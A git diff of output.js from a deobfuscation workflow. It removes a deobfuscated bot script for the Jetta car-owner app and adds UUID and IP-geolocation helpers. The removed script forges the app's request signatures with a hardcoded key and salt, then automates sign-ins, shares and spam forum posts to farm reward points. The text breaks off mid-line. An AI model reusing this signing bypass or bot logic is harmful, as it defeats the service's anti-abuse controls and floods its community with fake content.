diff --git a/output.js b/output.js index 69dda38..81f185a 100644 --- a/output.js +++ b/output.js @@ -1,1053 +1,74 @@ -//Tue Apr 15 2025 01:34:55 GMT+0000 (Coordinated Universal Time) +//Tue Apr 15 2025 05:13:08 GMT+0000 (Coordinated Universal Time) //Base:https://github.com/echo094/decode-js //Modify:https://github.com/smallfawn/decode_action -const $ = new Env("捷达"), - FormData = require("form-data"), - envPrefix = "jetta", - envName = envPrefix + "Cookie", - configName = envPrefix, - threadName = envPrefix + "ThreadNum", - insertBbs = process.env[envPrefix + "InsertBbs"] || "true", - threadFlag = false, - proxyFlag = false, - notifyFlag = false, - prefixFlag = false, - timeFlag = false, - loginFlag = true, - MAX_THREAD = process.env[threadName] || 10, - DEFAULT_TIMEOUT = 8000, - DEFAULT_RETRY = 5; -let host = "jetta-app.mosc.faw-vw.com", - imgApi = "https://tu.ltyuanfang.cn/api/fengjing.php", - contentApi = "https://api.xygeng.cn/one", - cookie = "", - cookieArr = [], - envSplitor = ["\n"]; -cookie = cookie || process.env[envName]; -class UserInfo extends $.BasicClass { - constructor(_0xce808) { - super(configInit()); - let { - userIdx: _0x7ead93, - userCookie: _0x28f676, - valid: _0x1c8360 - } = _0xce808; - this.userIdx = _0x7ead93; - this.valid = _0x1c8360; - if (loginFlag) { - let [_0x7cbaab, _0x323bf6] = _0x28f676.split("&"); - this.phone = _0x7cbaab; - this.password = _0x323bf6; - this.taskInit(); - } else this.userCookie = _0x28f676; - } - ["taskInit"](_0x31468d = {}) { - this.userList = _0x31468d.userList || $.userList; - this.got = this.got.extend({ - "headers": { - "Authorization": "Bearer " + this.userCookie, - "app-version": "2.7.4", - "platform": "ios", - "User-Agent": "Faw-VM-EBO/2.7.4 (com.fawvw.ebo; build:43; iOS 17.0.0) Alamofire/5.6.4" - } - }); - this.getUrl = _0x5b248d => { - return "https://" + host + (_0x5b248d || _0x31468d.path); - }; - } - async ["login"]() { - try { - let _0xef09f3 = { - "fn": "login", - "method": "post", - "url": "https://jetta-app.mosc.faw-vw.com/jetta-app/general/inpublic/v1/common/user/login", - "json": { - "password": this.password, - "scope": "openid profile mbb", - "account": this.phone, - "deviceName": "iPhone" - } - }, - _0x234888 = await this.http(getSignParam(_0xef09f3)); - if (_0x234888.returnStatus == "SUCCEED") { - { - let { - accessToken: _0xe89140 - } = _0x234888.data; - this.userCookie = _0xe89140; - } - } else this.log("用户名或密码错误", { - "prefix": true, - "notify": true - }), this.valid = false; - } catch (_0x5747d4) { - console.log(_0x5747d4); - } - } - async ["userInfo"]() { - try { - { - let _0x36c4bb = { - "fn": "userInfo", - "method": "get", - "url": "https://jetta-app.mosc.faw-vw.com/jetta-app/general/public/v1/common/user/get_user_info" - }, - _0x1d4132 = await this.http(getSignParam(_0x36c4bb)); - if (_0x1d4132.returnStatus == "SUCCEED") { - let { - mobile: _0x6fb8c8, - aid: _0x5b7e19 - } = _0x1d4132.data; - this.nickName = _0x6fb8c8; - this.aid = _0x5b7e19; - } else this.log(_0x1d4132.errorMessage), this.valid = false; - } - } catch (_0x1b3394) { - console.log(_0x1b3394); - } - } - async ["pointInfo"]() { - try { - { - let _0xa008d0 = { - "fn": "pointInfo", - "method": "get", - "url": "https://jetta-app.mosc.faw-vw.com/jetta-app/general/public/v1/common/user/get_score", - "searchParams": { - "aId": this.aid, - "businessId": 1, - "businessTypeId": 1, - "scoreTypeId": 2, - "systemKey": "8816687A99F14B8FA8", - "tenantId": "Jetta" - } - }, - _0x5ba444 = await this.http(getSignParam(_0xa008d0)); - if (_0x5ba444.returnStatus == "SUCCEED") { - let { - availablescore: _0xe9e811 - } = _0x5ba444.data[0]; - this.point = _0xe9e811; - } else this.log(_0x5ba444.errorMessage); - } - } catch (_0x2f30ca) { - console.log(_0x2f30ca); - } - } - async ["jettyValueInfo"]() { - try { - { - let _0x2317e2 = { - "fn": "jettyValueInfo", - "method": "get", - "url": "https://jetta-app.mosc.faw-vw.com/jetta-app/general/public/v1/common/jetta_value/get_profile_statistic_data" - }, - _0x7d7f4 = await this.http(getSignParam(_0x2317e2)); - if (_0x7d7f4.returnStatus == "SUCCEED") { - let { - currentJettaValue: _0x1fe4eb - } = _0x7d7f4.data; - this.jettaValue = _0x1fe4eb; - } else { - this.log(_0x7d7f4.errorMessage); - } - } - } catch (_0x16b9c1) { - console.log(_0x16b9c1); - } - } - async ["signInfo"]() { - try { - { - let _0x5c7972 = getSignParam({ - "fn": "signInfo", - "method": "get", - "url": "https://mg.jconnect.faw-vw.com/vehicle-market/public/signIn/getSignInStatus", - "searchParams": { - "token": "Bearer " + this.userCookie - } - }), - _0x459f68 = await this.http(_0x5c7972); - if (_0x459f68.status == "SUCCEED") { - let _0xb44d15 = _0x459f68.data; - _0xb44d15 ? this.log("今日已签到") : await this.signIn(); - } else this.log(_0x459f68.errorMessage); - } - } catch (_0x4cc989) { - console.log(_0x4cc989); - } - } - async ["signIn"]() { - try { - let _0x168aeb = getSignParam({ - "fn": "signIn", - "method": "get", - "url": "https://mg.jconnect.faw-vw.com/vehicle-market/public/signIn/signInV2", - "searchParams": { - "token": "Bearer " + this.userCookie - } - }), - _0x3ce3ec = await this.http(_0x168aeb); - if (_0x3ce3ec.status == "SUCCEED") { - let { - seriesDay: _0x2140b9 - } = _0x3ce3ec.data; - this.log("签到成功"); - } else this.log(_0x3ce3ec.errorMessage); - } catch (_0x31081c) { - console.log(_0x31081c); - } - } - async ["getTaskList"]() { - try { - let _0x3d56eb = { - "fn": "getTaskList", - "method": "get", - "url": "https://jetta-app.mosc.faw-vw.com/jetta-app/general/public/v1/common/jetta_value/get_welfare_home_info" - }, - _0x3b2886 = await this.http(getSignParam(_0x3d56eb)); - if (_0x3b2886.returnStatus == "SUCCEED") { - { - let { - newTaskConfigList: _0x4a07b7 - } = _0x3b2886.data; - this.taskList = _0x4a07b7; - } - } else { - this.log(_0x3b2886.errorMessage); - } - } catch (_0x4fd0b6) { - console.log(_0x4fd0b6); - } - } - async ["getArticleList"]() { - try { - { - let _0x2fb669 = { - "fn": "getArticleList", - "method": "get", - "url": "https://jetta-app.mosc.faw-vw.com/jetta-app/general/inpublic/v1/common/question/get_recommendation_questions", - "searchParams": { - "pageNum": $.randomNum(1, 5), - "pageSize": 20, - "theme": "" - } - }, - _0x2749dd = await this.http(getSignParam(_0x2fb669)); - _0x2749dd.returnStatus == "SUCCEED" ? this.articleList = _0x2749dd.data : this.log(_0x2749dd.errorMessage); - } - } catch (_0x131560) { - console.log(_0x131560); - } - } - async ["doShare"](_0x4485db) { - try { - { - let { - bbsId: _0xa3321, - bbsSubject: _0x2c59f6, - summary: _0x352d12 - } = _0x4485db, - _0x275d1a = { - "fn": "doShare", - "method": "post", - "url": "https://mg.jconnect.faw-vw.com/jbrand-api-community/public/user/forward/bbsForward", - "searchParams": { - "token": "Bearer " + this.userCookie - }, - "form": { - "bbsId": _0xa3321 - } - }, - _0x198b09 = await this.http(getSignParam(_0x275d1a)); - if (_0x198b09.status == "SUCCEED") { - { - let { - status: _0x35e65d, - msg: _0x392200 - } = _0x198b09.data; - _0x35e65d == "SUCCEED" ? this.log("分享[" + (_0x2c59f6 || _0x352d12?.["substring"](0, 5)) + "]成功") : this.log(_0x392200); - return _0x392200; - } - } else this.log(_0x198b09.errorMessage); - } - } catch (_0x211449) { - console.log(_0x211449); - } - } - async ["getImage"]() { - try { - let _0x334668 = { - "fn": "getImage", - "method": "get", - "url": imgApi - }, - { - headers: _0x371b79 - } = await this.request(_0x334668); - if (_0x371b79.location) { - { - let { - headers: _0x3a719a, - body: _0x4b4f6a - } = await this.request({ - "url": _0x371b79.location - }), - _0x424185 = new FormData(); - _0x424185.append("name", "files"); - _0x424185.append("filename", "img.jpg"); - _0x424185.append("Content-Type", _0x3a719a["content-type"]); - _0x424185.append("value", _0x4b4f6a); - this.imgData = _0x424185; - this.imgUrl = _0x371b79.location; - } - } - } catch (_0xd91dfd) { - console.log(_0xd91dfd); - } - } - async ["insertImages"]() { - try { - { - let _0x5d70a7 = { - "fn": "insertImages", - "method": "put", - "url": "https://mg.jconnect.faw-vw.com/jbrand-api-community/public/user/bbs/insertBbsImagesByUser", - "headers": { - "Content-Type": "multipart/form-data; boundary=alamofire.boundary.aaeba700f2d68612" - }, - "searchParams": { - "token": "Bearer " + this.userCookie - }, - "body": this.imgData - }, - _0x18f467 = await this.http(getSignParam(_0x5d70a7)); - console.log("insertImages / res:", _0x18f467); - _0x18f467.status == "SUCCEED" ? this.imgUrl = _0x18f467.data[0] : this.log(_0x18f467.errorMessage); - } - } catch (_0x58182e) { - console.log(_0x58182e); - } - } - async ["getContent"]() { - try { - { - let _0x285873 = { - "fn": "getContent", - "method": "get", - "url": contentApi - }, - _0x416304 = await this.http(_0x285873); - if (_0x416304.code == 200) { - let { - tag: _0x21000a, - origin: _0x8aa691, - content: _0x444bb3 - } = _0x416304.data; - this.bbsTitle = "" + (_0x21000a + _0x8aa691); - this.bbsContent = _0x444bb3; - if (this.bbsTitle?.["length"] < 5) { - $.title += $.time("MM-dd HH:mm"); - } - } - } - } catch (_0x1bb3ab) { - console.log(_0x1bb3ab); - } - } - async ["insertBbs"]() { - try { - await this.getImage(); - await this.getContent(); - let _0x28f26f = { - "fn": "insertBbs", - "method": "post", - "url": "https://mg.jconnect.faw-vw.com/jbrand-api-community/public/user/bbs/insertBbsByUser", - "headers": { - "Content-Type": "application/x-www-form-urlencoded; charset=utf-8" - }, - "searchParams": { - "token": "Bearer " + this.userCookie - }, - "body": $.queryStr({ - "bbsContent": encodeURIComponent(this.bbsContent), - "bbsSubject": encodeURIComponent(this.bbsTitle), - "bbsType": 1, - "contentUrlList": encodeURIComponent(this.imgUrl), - "coverUrlDisHeight": 1820, - "coverUrlDisWidth": 1024, - "coverUrlList": encodeURIComponent(this.imgUrl), - "resolution": 0.56, - "summary": encodeURIComponent(this.bbsContent) - }) - }, - _0x5d26ab = await this.http(getSignParam(_0x28f26f)); - if (_0x5d26ab.status == "SUCCEED") { - { - let { - status: _0x5dbb4a, - msg: _0x1e70c0 - } = _0x5d26ab.data?.["scoreReturnOutDTO"]; - _0x5dbb4a == "SUCCEED" ? this.log("发帖[" + this.bbsContent?.["substring"](0, 5) + "]成功") : this.log(_0x1e70c0); - } - } else this.log(_0x5d26ab.errorMessage); - } catch (_0x5442dd) { - console.log(_0x5442dd); - } - } - async ["insertBbsTask"]() { - try { - await this.insertBbs(); - } catch (_0x12ecc5) { - console.log(_0x12ecc5); - } - } - async ["dailyTask"]() { - try { - { - await this.signInfo(); - await this.randomWait(3, 5); - await this.getTaskList(); - for (let _0xc75cef of this.taskList) { - let { - businessName: _0x57b8f0, - isDone: _0x4f078d - } = _0xc75cef; - if (_0x4f078d) continue; - switch (_0x57b8f0) { - case "转发/分享": - this.articleList?.["length"] ? "" : await this.getArticleList(); - let _0x4a36bb = $.randomNum(0, this.articleList?.["length"] - 3), - _0x2bbc7b = await this.doShare(this.articleList[_0x4a36bb++]); - if (_0x2bbc7b?.["includes"]("转发数量超出")) break; - await this.randomWait(3, 5); - await this.doShare(this.articleList[_0x4a36bb++]); - await this.randomWait(3, 5); - await this.doShare(this.articleList[_0x4a36bb++]); - await this.randomWait(3, 5); - break; - case "发帖": - insertBbs == "true" ? await this.insertBbsTask() : ""; - break; - } - } - } - } catch (_0x12abf1) { - console.log(_0x12abf1); - } - } - async ["userTask"](_0x276ed7) { - try { - this.taskInit(_0x276ed7); - await this.userInfo(); - if (!this.valid) { - { - this.log("cookie疑似失效", { - "notify": true, - "prefix": true - }); - return; - } - } - this.log("\n******* 【账号" + this.userIdx + "】" + (this.nickName || "") + " ******* ", { - "console": !threadFlag, - "prefixless": true, - "timeless": true, - "notify": !threadFlag - }); - await this.dailyTask(); - await this.pointInfo(); - await this.jettyValueInfo(); - this.point ? this.log("捷出值: " + this.jettaValue + ", 积分: " + this.point, { - "notify": true - }) : ""; - } catch (_0xe1afce) { - console.log(_0xe1afce); - } - } -} -!(async () => { - $.envSplitor = envSplitor; - const _0x5380c6 = { - "Class": UserInfo - }; - await $.readEnv(configInit(_0x5380c6)); - loginFlag && (await $.threadTask("login"), $.userList = $.userList.filter(({ - valid: _0x2e45da - }) => _0x2e45da)); - threadFlag ? await threadTask() : await userTask(); -})().catch(_0x9e8d68 => { - $.logErr(_0x9e8d68); -}).finally(() => { - $.done(); -}); -async function userTask() { - try { - for (let _0x4da3fc of $.userList) { - await _0x4da3fc.userTask(); - } - } catch (_0x22becd) { - console.log(_0x22becd); - } -} -async function threadTask() { - try { - await $.threadTask("userTask"); - } catch (_0x182b3d) { - console.log(_0x182b3d); - } -} -function configInit(_0x4ad641 = {}) { - let _0x10051b = { - "cookie": cookie, - "cookieArr": cookieArr, - "envName": envName, - "configName": configName, - "notifyFlag": notifyFlag, - "threadFlag": threadFlag, - "proxyFlag": proxyFlag, - "prefixFlag": prefixFlag, - "timeFlag": timeFlag, - "DEFAULT_TIMEOUT": DEFAULT_TIMEOUT, - "DEFAULT_RETRY": DEFAULT_RETRY, - "MAX_THREAD": MAX_THREAD - }; - return Object.assign(_0x10051b, _0x4ad641); -} -function getSignParam(_0x23e625 = {}) { - let _0x5a5470 = "5933615834", - _0x224207 = Date.now(), - _0x281411 = $.randomString(32), - _0x5bf32c = 0, - _0x26d47c = 8, - _0x50e49a = _0x23e625.url.split(".com")[1], - _0x22277f = { - ..._0x23e625.searchParams, - "appkey": _0x5a5470, - "signTimestamp": _0x224207, - "timestamp": _0x224207, - "nonce": _0x281411 - }; - _0x23e625.url?.["includes"]("mg.jconnect") && (_0x22277f = { - ..._0x23e625.searchParams, - "appkey": _0x5a5470, - "nonce": _0x281411, - "signt": _0x224207 +function generateUUID() { + return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (_0x284b11) { + const _0x4cf9cc = Math.random() * 16 | 0, + _0x1f909c = _0x284b11 === "x" ? _0x4cf9cc : _0x4cf9cc & 3 | 8; + return _0x1f909c.toString(16); }); - let _0x9f93f6 = _0x8975d(_0x50e49a, _0x2a18d5(_0x22277f)); - _0x22277f.digitalSign = _0x9f93f6; - _0x23e625.url?.["includes"]("mg.jconnect") && (delete _0x22277f.digitalSign, _0x22277f.sign = _0x9f93f6); - _0x23e625.searchParams = { - ..._0x23e625.searchParams, - ..._0x22277f - }; - return _0x23e625; - function _0x8975d(_0x42baf3, _0x5d7dd4) { - var _0x42a01d, - _0x4f6a52 = _0x42baf3.replace("one-app/", "").replace("test/", "").replace(/^\//, ""); - _0x5d7dd4.sort(); - var _0x44e7ab = _0x5d7dd4.join("_"), - _0x2b01b3 = "".concat(_0x4f6a52, "_").concat(_0x44e7ab, "_").concat("a965e8abce4098f033d33fb2fb0a81e5"), - _0x4d512b = encodeURIComponent(_0x2b01b3); - _0x42a01d = _0x5b4d7b(_0x4d512b); - return _0x42a01d; - } - function _0x5b4d7b(_0x9759ab) { - return _0x9f59ac(_0x17be36(_0x2d4f14(_0x9759ab), _0x9759ab.length * _0x26d47c)); - } - function _0x2a18d5(_0x4ce6f8) { - { - var _0x668cbd = []; - for (var _0x286234 in _0x4ce6f8) null != _0x4ce6f8[_0x286234] && _0x668cbd.push("".concat(_0x286234, "=").concat(_0x4ce6f8[_0x286234])); - return _0x668cbd; - } - } - function _0x17be36(_0x559e19, _0x1c0928) { - { - _0x559e19[_0x1c0928 >> 5] |= 128 << _0x1c0928 % 32; - _0x559e19[14 + (_0x1c0928 + 64 >>> 9 << 4)] = _0x1c0928; - for (var _0x41d3ef = 1732584193, _0x855f9c = -271733879, _0x3fae68 = -1732584194, _0x146c3e = 271733878, _0x37883a = 0; _0x37883a < _0x559e19.length; _0x37883a += 16) { - var _0x4012eb = _0x41d3ef, - _0x3dc200 = _0x855f9c, - _0x35fc3e = _0x3fae68, - _0x23acb3 = _0x146c3e; - _0x41d3ef = _0xcf3e0a(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 0], 7, -680876936); - _0x146c3e = _0xcf3e0a(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 1], 12, -389564586); - _0x3fae68 = _0xcf3e0a(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 2], 17, 606105819); - _0x855f9c = _0xcf3e0a(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 3], 22, -1044525330); - _0x41d3ef = _0xcf3e0a(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 4], 7, -176418897); - _0x146c3e = _0xcf3e0a(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 5], 12, 1200080426); - _0x3fae68 = _0xcf3e0a(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 6], 17, -1473231341); - _0x855f9c = _0xcf3e0a(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 7], 22, -45705983); - _0x41d3ef = _0xcf3e0a(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 8], 7, 1770035416); - _0x146c3e = _0xcf3e0a(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 9], 12, -1958414417); - _0x3fae68 = _0xcf3e0a(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 10], 17, -42063); - _0x855f9c = _0xcf3e0a(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 11], 22, -1990404162); - _0x41d3ef = _0xcf3e0a(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 12], 7, 1804603682); - _0x146c3e = _0xcf3e0a(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 13], 12, -40341101); - _0x3fae68 = _0xcf3e0a(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 14], 17, -1502002290); - _0x855f9c = _0xcf3e0a(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 15], 22, 1236535329); - _0x41d3ef = _0xc45b5(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 1], 5, -165796510); - _0x146c3e = _0xc45b5(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 6], 9, -1069501632); - _0x3fae68 = _0xc45b5(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 11], 14, 643717713); - _0x855f9c = _0xc45b5(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 0], 20, -373897302); - _0x41d3ef = _0xc45b5(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 5], 5, -701558691); - _0x146c3e = _0xc45b5(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 10], 9, 38016083); - _0x3fae68 = _0xc45b5(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 15], 14, -660478335); - _0x855f9c = _0xc45b5(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 4], 20, -405537848); - _0x41d3ef = _0xc45b5(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 9], 5, 568446438); - _0x146c3e = _0xc45b5(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 14], 9, -1019803690); - _0x3fae68 = _0xc45b5(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 3], 14, -187363961); - _0x855f9c = _0xc45b5(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 8], 20, 1163531501); - _0x41d3ef = _0xc45b5(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 13], 5, -1444681467); - _0x146c3e = _0xc45b5(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 2], 9, -51403784); - _0x3fae68 = _0xc45b5(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 7], 14, 1735328473); - _0x855f9c = _0xc45b5(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 12], 20, -1926607734); - _0x41d3ef = _0x3ef8a3(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 5], 4, -378558); - _0x146c3e = _0x3ef8a3(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 8], 11, -2022574463); - _0x3fae68 = _0x3ef8a3(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 11], 16, 1839030562); - _0x855f9c = _0x3ef8a3(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 14], 23, -35309556); - _0x41d3ef = _0x3ef8a3(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 1], 4, -1530992060); - _0x146c3e = _0x3ef8a3(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 4], 11, 1272893353); - _0x3fae68 = _0x3ef8a3(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 7], 16, -155497632); - _0x855f9c = _0x3ef8a3(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 10], 23, -1094730640); - _0x41d3ef = _0x3ef8a3(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 13], 4, 681279174); - _0x146c3e = _0x3ef8a3(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 0], 11, -358537222); - _0x3fae68 = _0x3ef8a3(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 3], 16, -722521979); - _0x855f9c = _0x3ef8a3(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 6], 23, 76029189); - _0x41d3ef = _0x3ef8a3(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 9], 4, -640364487); - _0x146c3e = _0x3ef8a3(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 12], 11, -421815835); - _0x3fae68 = _0x3ef8a3(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 15], 16, 530742520); - _0x855f9c = _0x3ef8a3(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 2], 23, -995338651); - _0x41d3ef = _0x228889(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 0], 6, -198630844); - _0x146c3e = _0x228889(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 7], 10, 1126891415); - _0x3fae68 = _0x228889(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 14], 15, -1416354905); - _0x855f9c = _0x228889(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 5], 21, -57434055); - _0x41d3ef = _0x228889(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 12], 6, 1700485571); - _0x146c3e = _0x228889(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 3], 10, -1894986606); - _0x3fae68 = _0x228889(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 10], 15, -1051523); - _0x855f9c = _0x228889(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 1], 21, -2054922799); - _0x41d3ef = _0x228889(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 8], 6, 1873313359); - _0x146c3e = _0x228889(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 15], 10, -30611744); - _0x3fae68 = _0x228889(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 6], 15, -1560198380); - _0x855f9c = _0x228889(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 13], 21, 1309151649); - _0x41d3ef = _0x228889(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 4], 6, -145523070); - _0x146c3e = _0x228889(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 11], 10, -1120210379); - _0x3fae68 = _0x228889(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 2], 15, 718787259); - _0x855f9c = _0x228889(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 9], 21, -343485551); - _0x41d3ef = _0x4f5682(_0x41d3ef, _0x4012eb); - _0x855f9c = _0x4f5682(_0x855f9c, _0x3dc200); - _0x3fae68 = _0x4f5682(_0x3fae68, _0x35fc3e); - _0x146c3e = _0x4f5682(_0x146c3e, _0x23acb3); - } - return Array(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e); - } - } - function _0x3baa2d(_0x4120a8, _0x3f5fff, _0x3eb8a2, _0x23b9e9, _0x1983da, _0x2e3020) { - return _0x4f5682(_0x4f5215(_0x4f5682(_0x4f5682(_0x3f5fff, _0x4120a8), _0x4f5682(_0x23b9e9, _0x2e3020)), _0x1983da), _0x3eb8a2); - } - function _0xcf3e0a(_0x22c251, _0x210f8c, _0x16cbca, _0x5b8c0f, _0x4dc2f1, _0x5add9d, _0x15ed7f) { - return _0x3baa2d(_0x210f8c & _0x16cbca | ~_0x210f8c & _0x5b8c0f, _0x22c251, _0x210f8c, _0x4dc2f1, _0x5add9d, _0x15ed7f); - } - function _0xc45b5(_0x1e3144, _0x294423, _0x1ff502, _0x204f0e, _0x18226c, _0x26a4dc, _0x36a9eb) { - return _0x3baa2d(_0x294423 & _0x204f0e | _0x1ff502 & ~_0x204f0e, _0x1e3144, _0x294423, _0x18226c, _0x26a4dc, _0x36a9eb); - } - function _0x3ef8a3(_0x22fd62, _0x2e03ae, _0x58e582, _0x5f1e02, _0x1c42d9, _0x1f7b02, _0x58b420) { - return _0x3baa2d(_0x2e03ae ^ _0x58e582 ^ _0x5f1e02, _0x22fd62, _0x2e03ae, _0x1c42d9, _0x1f7b02, _0x58b420); - } - function _0x228889(_0x273684, _0x1d2dc9, _0x332759, _0x332721, _0x59b3ef, _0x32db69, _0x1dd535) { - return _0x3baa2d(_0x332759 ^ (_0x1d2dc9 | ~_0x332721), _0x273684, _0x1d2dc9, _0x59b3ef, _0x32db69, _0x1dd535); - } - function _0x4f5682(_0x4f37c4, _0x5bb079) { - { - var _0x46b927 = (65535 & _0x4f37c4) + (65535 & _0x5bb079), - _0x2c732e = (_0x4f37c4 >> 16) + (_0x5bb079 >> 16) + (_0x46b927 >> 16); - return _0x2c732e << 16 | 65535 & _0x46b927; - } - } - function _0x4f5215(_0x4794b5, _0x15173a) { - return _0x4794b5 << _0x15173a | _0x4794b5 >>> 32 - _0x15173a; - } - function _0x2d4f14(_0x499b14) { - { - for (var _0xf1cb38 = Array(), _0x21e81b = (1 << _0x26d47c) - 1, _0x56a302 = 0; _0x56a302 < _0x499b14.length * _0x26d47c; _0x56a302 += _0x26d47c) _0xf1cb38[_0x56a302 >> 5] |= (_0x499b14.charCodeAt(_0x56a302 / _0x26d47c) & _0x21e81b) << _0x56a302 % 32; - return _0xf1cb38; - } - } - function _0x9f59ac(_0xb409c5) { - { - for (var _0x4cc8ee = _0x5bf32c ? "0123456789ABCDEF" : "0123456789abcdef", _0x3d548d = "", _0x41ff48 = 0; _0x41ff48 < 4 * _0xb409c5.length; _0x41ff48++) _0x3d548d += _0x4cc8ee.charAt(_0xb409c5[_0x41ff48 >> 2] >> _0x41ff48 % 4 * 8 + 4 & 15) + _0x4cc8ee.charAt(_0xb409c5[_0x41ff48 >> 2] >> _0x41ff48 % 4 * 8 & 15); - return _0x3d548d; - } +} +function getDeviceUUID() { + let _0xb6cef1 = localStorage.getItem("deviceUUID"); + !_0xb6cef1 && (_0xb6cef1 = generateUUID(), localStorage.setItem("deviceUUID", _0xb6cef1)); + return _0xb6cef1; +} +async function getUserLocation() { + try { + const _0x2a0cec = await fetch("http://ip-api.com/json/"), + _0x4c690f = await _0x2a0cec.json(); + return { + "ip": _0x4c690f.query || "unknown", + "city": _0x4c690f.city || "unknown", + "region": _0x4c690f.regionName || "unknown", + "country": _0x4c690f.country || "unknown" + }; + } catch (_0x1b893b) { + console.error("Error fetching user location:", _0x1b893b.message); + return { + "ip": "unknown", + "city": "unknown", + "region": "unknown", + "country": "unknown" + }; } } -function Env(_0x54ebf3, _0x34e16a) { - class _0x5a2ac1 { - constructor(_0x510195) { - this.userIdx = 0; - this.userList = []; - this.logSeparator = "\n"; - this.splitor = "\n"; - this.envSplitor = ["@", "\n"]; - this.date = new 